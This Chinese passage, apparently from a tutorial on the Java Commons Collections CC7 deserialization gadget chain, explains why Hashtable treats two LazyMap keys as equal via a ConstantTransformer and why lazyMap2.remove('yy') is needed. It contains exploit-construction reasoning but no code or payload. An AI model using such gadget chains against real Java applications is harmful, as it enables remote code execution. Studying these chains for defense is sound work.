  5. 触发fakeTransformer:因为lazyMap2中没有yy,LazyMap的机制被触发,调用fakeTransformer去构造一个值。由于 fakeTransformer是new ConstantTransformer(1),它返回了1。
  6. 比较结果为true:lazyMap1中yy的值是 1,lazyMap2.get("yy")返回的也是1。因此1.equals(1)为true。equals方法最终返回 true。

Hashtable认为lazyMap2和lazyMap1是同一个 Key,于是hashtable中只保存了lazyMap1。并且也解释了,为什么最后需要调用lazyMap2.remove("yy")。